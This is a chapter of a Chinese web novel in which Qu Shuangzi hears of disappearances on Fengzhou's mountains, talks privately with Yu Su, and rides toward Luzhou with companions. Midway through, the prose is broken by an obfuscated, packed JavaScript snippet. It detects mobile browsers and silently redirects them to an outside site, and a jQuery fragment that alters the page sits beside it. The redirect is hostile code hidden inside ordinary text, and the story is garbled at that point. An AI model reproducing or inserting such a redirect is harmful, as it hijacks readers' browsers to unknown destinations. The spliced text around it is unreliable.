且冬暖夏凉、气候温和宜人,很适合修身养性,就是略偏僻了些,但风土人情丝毫不逊于荨州。 那样的地方,居然也沦落到民不聊生的地步? “本是个山清水秀的好地方,但那些个钟灵毓秀的山都成了百姓口中的诡山,”长风顿了顿,观察着曲霜姿的神色,缓缓继续道:“夜里总有怪声,怪亮,像是鬼哭,上山的百姓常有去无回。” “官府没有派人查过吗?”曲霜姿急切追问。 “查不出,甚至上了山的官兵都杳无音信了,奉州州官亲自上山,同样……” “兹事体大,早该惊动朝廷了吧。”曲霜姿思忖良久,遥遥望向皇宫的所在,袍袖下的手紧紧攥住。她脸色冷得像是蒙了一层霜雪,神色突然平静得近乎诡异,曲霜姿径直踏出门槛,“我去给余叔叔贺岁。” 余肃刚拜贺父亲回来,一窝窝小辈赶着来他院子里拜贺,他无奈地轻叹口气,想念起过去在荨州小院的岁月静好。 曲婧不擅长烹饪,他便下厨给母女俩做饭,一家三口几道菜便足矣,说说笑笑中感慨霜姿又长高了,他与曲婧在跳跃的烛火中久久对视,最后泯然一笑,爆竹声响。 荨州雪不多,每次下雪三人便一起嬉闹。 幼小的霜姿捧着一枚小小的雪花碎步忙慌地跑来,“看,雪花原是这幅模样!” 她疑惑道:“那霜姿呢?霜花也像雪花一样吗?” 曲婧笑点她额头,“雪花轻盈飘飘,霜花却可以附着万物而生,坚毅曼妙,顽强生长,变换万物为自己喜欢的模样。” “清白纯净。” 余肃醒神,一眼从众小辈中看到曲霜姿的身影,少女侧身立着,专注地端详枝头的霜雪。她换了一件浅青色的衣裙,整个人与周遭嘈杂格格不入,余肃竟又从少女的眉眼中看到了曲婧的身影。 曲霜姿作为余肃名义上的女儿,需得先贺岁。她恍惚片刻回神,见众人都注视着自己,报之以微笑,语气微带歉意:“诸位,不好意思了。” 她转身过来,一步步走向余肃,干脆利落地俯跪叩头,“小女霜姿拜贺父亲大人,愿父亲大人身体康健,寿同金石,万事顺遂,洪福齐天!” 她礼仪学得很好,一举一动,一颦一笑皆合乎礼节,美观大方,已然不再是稚嫩青涩的小孩儿了,她真的长大了。 余肃忙扶她起来,不知是否是真的上了年岁的缘故,眼眶不由得有些湿润,“好、好。” “外头寒气重,去书房等阿爹。” 其实余肃看曲霜姿观雪便知晓她有心事,他刚回到书房,少女便忧心忡忡地看向他。 余肃皱皱眉,很快猜出了缘由,“奉州的事我知道一二,上山的人都没死,只是自己不想回来。” “但还是造成了民众恐慌,百姓再不敢上山谋生,奉州本就是靠山吃山靠水吃水,就算那些高官上山之后还活着,但为什么不回来呢?为什么朝廷置之不理呢?”她一连抛出几个问题。 余肃耐心地听着,最后轻声开口问道:“没人敢查的案子,你要去查吗?” 曲霜姿郑重点头,“只是朝廷不许查,御察司又如何能查。” “你想查便能查,不光要查奉州,还要将各地诡案都查清,不要被困在盛京城中,”余肃压低声音,靠近曲霜姿耳旁,“更不要被温孤昪困住。” 曲霜姿愣住,怔怔地看着余肃。 余肃眼底深不见底,但嘴边凝着的笑容同样真切,“你尽情做你想做的,永远不要迟疑犹豫。” 他眼神太过珍重挚诚,以至于让曲霜姿觉得这番话别有深意,她敏锐地觉察到这深意深到她无法承受,只得不自觉地后退几步。 “懂了么?”但余肃似乎认真至极,分外渴求得到她的回应。 曲霜姿和他滚烫的眼神对视,手足无措、如鲠在喉。半晌,她才终于平静下来,攥紧拳头许诺道:“懂了。” — 一月后,泸州疑有外商强抢民女、买卖人口,烧杀抢掠、无恶不作。 因泸州为温孤涵封地,与皇家息息相关,温孤嘉宥作为其胞弟,同时又是御察司司主,自然难辞其咎。 一行人领了圣命,便带着小批人马浩浩荡荡地出发了。 晃晃荡荡的马车上,乐知皱眉对江梅道:“泸州的事情当地官府管不了吗?如此危险……”江梅拍拍她肩膀,“你看曲大人平静如水,想来不是什么险事。” 乐知愣了愣,没吭声。 江梅奇怪地看看前头马上的曲霜姿,又看看神色古怪的乐知,心中默默思忖着。 曲霜姿面上毫无对案情的忧虑,反而是气定神闲、自得其乐。沈霁明看出端倪,笑着调侃道:“曲小姐倒是性情大变了啊。” 曲霜姿睨他一眼,压低声音警告道:“小声点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314293|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你感激我就是了,让你脱离温孤昪的视线,是不是感觉空气都自由了,”她嘴角噙着笑,沐浴着还有些凉的春风,享受地眯起眼睛。 泸州此案,实为声音大、浪涛小,且由余肃精心谋划,不过是一个让他们离开盛京的理由罢了。 自由,真是久违的自由。 曲霜姿由衷感慨,沈霁明恍惚地看着少女,鼻子一阵酸涩,他咬牙搭臂遮住眼睛,揩去了不争气流落的泪水,而他嘴角却是上扬的。 少女纳闷地看他,架着马靠近他,“怎么了?” 沈霁明轻笑一声,笑着看她,“沙子迷了眼睛。” “那就要怪长风了。”曲霜姿认真地看向长风,长风皱着眉头缄默不言,任由曲霜姿肆意调笑。 “不过,马车里的那位,不也是温孤嘉宥的眼睛吗?”沈霁明苦笑着无声叹息,曲霜姿回头看向那架精致华贵的马车,“我总觉得大殿下和温孤皇室的其他人不同。” 沈霁明没有发表意见,只是静静听少女说着。 “但我觉得有点奇怪。” “哦?” “我一直以为陛下更属意于二殿下,但为何御察司司主却许了大殿下?”她小心翼翼地问道,眼神警惕地观察着四周。 “圣意难测,”沈霁明蹙眉道:“支持二皇子的大臣虽多,论整体才能二皇子也胜于大皇子,但终归大殿下才是嫡子。” “支持他的曾是在朝中叱咤风云的霍相,还有好些朝中老臣、重臣,二皇子又与之前的案子或有牵连……” “所以这也算是帝王的制衡之术。”曲霜姿若有所思地总结道。 沈霁明点点头,“你这次是为了奉州的案子吧,邬州怕只是一个幌子吧。”二人骑马并行,从长风的角度看,二人几乎要贴在一起,低语交流也没有第三个人能听见。 曲霜姿见他猜出,也没有再刻意隐瞒,在默然中给出了答案。 “那看来此行,也不能完全算是自由之行啊。”沈霁明低声感慨。 “起码是新的旅程,不用再被笼罩在盛京城压死人的阴影下。”曲霜姿虽故作轻松,但语气还是带着几分沉重。 她这番话从没当着旁人的面说过,沈霁明讶然地看着她。 难道对于曲霜姿来说,盛京是压抑无比的?难不成,曲霜姿还背负着更沉重的事物,瞒着所有人负重前行? 明明一开始那个说要当大官造福百姓的曲霜姿,不是这般想的。 但沈霁明没有多问,只是深深注视着少女,随后默默移开了视线。